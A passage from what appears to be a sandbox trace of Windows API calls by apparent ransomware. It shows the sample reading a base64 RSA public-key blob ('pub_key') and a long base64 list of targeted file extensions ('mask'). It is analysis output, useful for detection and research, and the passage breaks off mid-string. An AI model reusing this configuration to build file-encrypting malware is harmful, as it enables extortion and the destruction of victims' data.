LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.414] lstrcmpiA (lpString1="pub_key", lpString2="mask") returned 1 [0169.414] lstrcmpiA (lpString1="pub_key", lpString2="pub_key") returned 0 [0169.414] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0169.414] lstrcpyA (in: lpString1=0x5caa08, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0169.414] lstrcmpiA (lpString1="mask", lpString2="mask") returned 0 [0169.414] lstrcmpiA (lpString1="mask", lpString2="pub_key") returned -1 [0169.414] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0169.414] lstrcpyA (in: lpString1=0x5b1420, lpString2="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" | out: lpString1="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC